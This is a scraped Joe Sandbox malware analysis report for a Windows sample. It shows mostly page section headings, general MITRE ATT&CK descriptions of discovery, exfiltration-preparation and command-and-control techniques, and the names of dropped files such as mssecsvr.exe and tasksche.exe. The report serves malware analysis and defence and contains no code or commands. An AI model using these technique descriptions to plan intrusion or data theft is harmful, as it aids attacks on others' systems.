Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report dKkvbrzdUL

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Initial Sample

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Exploits

Compliance

Spreading

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Windows\eee.exe

C:\Windows\mssecsvr.exe

C:\Windows\tasksche.exe

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Resources

Imports

Exports

Windows Analysis Report
dKkvbrzdUL

Function 00407CE0 Relevance: 50.9, APIs: 18, Strings: 11, Instructions: 175
libraryloaderfileCOMMON

Function 00409A16 Relevance: 16.6, APIs: 11, Instructions: 111
COMMON

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre